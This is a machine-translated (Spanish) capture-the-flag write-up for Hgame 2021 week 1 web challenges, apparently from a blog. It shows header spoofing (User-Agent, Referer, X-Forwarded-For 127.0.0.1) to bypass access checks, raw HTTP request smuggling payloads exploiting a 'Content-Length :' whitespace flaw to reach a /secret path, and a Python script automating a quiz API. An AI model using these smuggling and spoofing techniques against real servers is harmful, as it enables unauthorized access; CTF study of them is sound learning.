Hgame2021 semana1 web

Prefacio

La primera vez que jugué a Hgame, los temas fueron muy interesantes y aprendí mucho. Pensé que el tema de la primera semana era muy simple, pero descubrí que era demasiado cruel. Hay 3 preguntas (de hecho, 2 preguntas) que son puntos ciegos de mi propio conocimiento. El WP oficial también ha salido, así que puedo aprender por mi mismo.
Pero hay una cosa que decir. . ¿Por qué siento que las preguntas de la web en la segunda semana son más fáciles que las de la primera semana? . . Afortunadamente, solo una pregunta XSS fue la pregunta inicial en la segunda semana. Solo la pregunta GG, las otras preguntas finales fueron bastante simples.
Se puede ver desde la primera semana que todavía no sé mucho sobre el protocolo HTTP y el front-end, así que tengo que aprenderlo lentamente.

Autoestop_en_la_Galaxia

Inspeccionar principalmente el protocolo HTTP, la primera semana es principalmente para inspeccionar HTTP y el front-end, pero estas son cosas de las que no sé mucho. . .
Ingrese HitchhikerGuide.php, mensaje 405 Método no permitido. Así que cambie a POST.
Entonces se le pedirá que acceda aquí solo mediante el uso de "Infinite Improbability Drive".
Cambie el encabezado UA: User-Agent: Infinite Improbability Drive
y luego esto:

你知道吗?<a href="https://github.com/wuhan005">茄子</a>特别要求:你得从他的<a href="https://cardinal.ink/">Cardinal</a>过来

Luego cambie Referer:Referer:https://cardinal.ink/

Finalmente, si solicita acceso local para obtener la bandera, use el encabezado xff: x-forwarded-for:127.0.0.1
obtenga la bandera. Todas son posturas comunes.

sandía

Para el juego de Big Watermelon, es normal revisar el código JS, encontrar la condición final para el éxito y luego tener éxito manualmente o leer la bandera directamente. Pero para esta pregunta, busqué el código JS por todas partes y todavía no pude encontrar el código JS que finalmente juzgó 2000 puntos.
Puedes referirte a Yibo Zhihu: ¿Hay algún truco para el minijuego "Synthetic Big Watermelon"?
No conozco la interfaz, realmente no sé que el código JS se puede encontrar aquí: El
Inserte la descripción de la imagen aquí
código clave está en project.js:
Inserte la descripción de la imagen aquí
decodifica la base64 detrás de ti para obtener la bandera. Después de aprender lo que he aprendido, la interfaz no será demasiado miserable. . .

Contrabandista de tesoros

El punto de conocimiento investigado es el contrabando HTTP, que también es una zona ciega de conocimiento, es maravilloso aprender cosas nuevas.
El artículo de referencia es la pista, escrito en gran detalle, y aprendió mucho: Ataque de capa de protocolo - Contrabando de solicitudes HTTP

Después de leer ese artículo, puede tener una cierta comprensión. Puede pensar en usar ataques CL-TE o atacar con la postura del primer parche mencionado en el artículo:
Inserte la descripción de la imagen aquí
Pero no tuve éxito en ese momento, así que estaba muy confundido. . Después de que salió WP, seguí el WP de los maestros para reproducir una ola, la solicitud es exactamente la misma, pero aún no puede tener éxito, fan ladrón. Al final, se descubrió que la longitud de contenido de actualización automática de bp debe desactivarse:
Inserte la descripción de la imagen aquí
después de apagarlo y luego reproducirlo, puede tener éxito.
El primero es el ataque con un espacio en blanco detrás de la longitud del contenido. El artículo de principio específico también es muy claro, es decir, cuando hay un campo entre el campo de solicitud y: en la solicitud recibida por el servidor ATS, no devuelve 400 ni hace correcciones, sino que lo envía directamente al back-end. servidor. El servidor back-end, como nginx, ignorará la longitud del contenido cuando encuentre tal solicitud, lo que resultará en la solicitud que realmente ve el servidor back-end:

GET / HTTP/1.1
Host: thief.0727.site


GET /secret HTTP/1.1
Host:thief.0727.site
client-ip:127.0.0.1
foo:

Se tratará como 2 solicitudes. La primera solicitud es completa porque tiene \ r \ n al final. No hay \ r \ n al final de la segunda solicitud, por lo que el servidor backend la considera incompleta. En este momento, responderá a la primera solicitud y luego esperará a que se complete la transferencia de datos posterior antes de responder a el segundo.
En este momento, lo solicitamos una vez más y se empalma así:

GET /secret HTTP/1.1
Host:thief.0727.site
client-ip:127.0.0.1
foo:GET / HTTP/1.1
Host: thief.0727.site

Fue una solicitud exitosa y el contrabando HTTP fue exitoso.
Inserte la descripción de la imagen aquí
CL-TE también me atacó. . . Sigue a los maestros y el WP oficial todavía no puede salir. . .

La ira del contrabandista

Para evitar un autostop, agregue una pregunta. Aún intente el método de ataque con un espacio entre la longitud del contenido y :, pero reportará 400. Los maestros dicen que se debe al problema de los dos hosts. Para esta pregunta, agregará client-ip por sí mismo:

GET / HTTP/1.1
Host: police.liki.link
Content-Length : 71


GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
a:

Inserte la descripción de la imagen aquí
Podría verse así:

GET / HTTP/1.1
Host: police.liki.link
Content-Length : 71


GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
a:GET / HTTP/1.1
Host: police.liki.link
client-ip:xxxxxx

La siguiente IP de cliente cubrirá nuestra construcción, y dos hosts informarán un error 400. Los maestros ponen más contenido en el cuerpo de la solicitud de la solicitud que construimos:

GET / HTTP/1.1
Host: police.liki.link
Content-Length : 94


GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
Content-length:100

aaa

De esta manera, el contenido de la segunda solicitud se empalmó en el cuerpo de la solicitud de GET / HTTP secreto / 1.1, y el contrabando fue exitoso:
Inserte la descripción de la imagen aquí
Sin embargo, el CL-TE de estas dos preguntas no tuvo éxito en mi prueba, e incluso se copió e imprimió la misma carga útil. No funciona, tal vez haya algo mal en mi área local, no hay forma.

Pollo de prueba de coeficiente intelectual

En fuckmath.js, puede ver el código js útil, juzgar el estado, obtener la bandera, obtener la pregunta y enviar la respuesta, y la API está escrita con mucha claridad.
Getquestion se volvió más o menos así:

<math>
	<mrow>
		<msubsup>
			<mo></mo>
			<mrow>
				<mo>-</mo>
				<mn>92</mn>
			</mrow>
			<mrow>
				<mn>31</mn>
			</mrow>
		</msubsup>
		
		<mo>(</mo>
		<mn>12</mn>
		<mi>x</mi>
		<mo>+</mo>
		<mn>17</mn>
		<mo>)</mo>
		<mtext>
			<mi>d</mi>
		</mtext>
		<mi>x</mi>
		<mtd/>
	</mrow>
</math>

Teniendo en cuenta que las formas integrales son todas ax + b, las fórmulas son las mismas, de hecho, se puede calcular a mano (escape). Por supuesto, escribir un guión es muy simple. Lea los límites superior e inferior de los puntos y ayb, y luego la fórmula para establecer los puntos está terminada. Lo escribí de esa manera, pero cuando escribí WP, encontré que el guión había sido eliminado. . .
Eché un vistazo a WP y usé la biblioteca sympy de Python para calcular puntos. También aprendí a reescribir un script.

# @Author:feng
import requests
from sympy import *
from lxml import etree
import json
url="http://r4u.top:5000/"
session=requests.session()
count=0
while count<100:
    question=session.get(url=url+"api/getQuestion")
    question=json.loads(question.text)['question']
    question=etree.HTML(question)

    xia_fuhao=question.xpath('//math/mrow/msubsup/mrow[1]/mo/text()')
    xiaxian=int(question.xpath('//math/mrow/msubsup/mrow[1]/mn/text()')[0])
    if len(xia_fuhao)!=0:
        xiaxian=-xiaxian
    shang_fuhao=question.xpath('//math/mrow/msubsup/mrow[2]/mo/text()')
    shangxian=int(question.xpath('//math/mrow/msubsup/mrow[2]/mn/text()')[0])
    if len(shang_fuhao)!=0:
        shangxian=-shang_fuhao

    a=int(question.xpath('//math/mrow/mn[1]/text()')[0])
    b=int(question.xpath('//math/mrow/mn[2]/text()')[0])

    x=symbols('x')
    x=float(integrate(a*x+b,(x,xiaxian,shangxian)))
    headers = {
    
    
        "Content-Type": "application/json;charset=UTF-8"
    }
    data={
    
    
        'answer':x
    }
    r=session.post(url=url+"api/verify",headers=headers,json=data)
    #print(r.text)
    count+=1
r=session.get(url=url+"api/getFlag")
print(r.text)

Consulte también el guión de este maestro:
hgame2021 week1 writeup

Supongo que te gusta

Origin blog.csdn.net/rfrder/article/details/113754076
Recomendado
Clasificación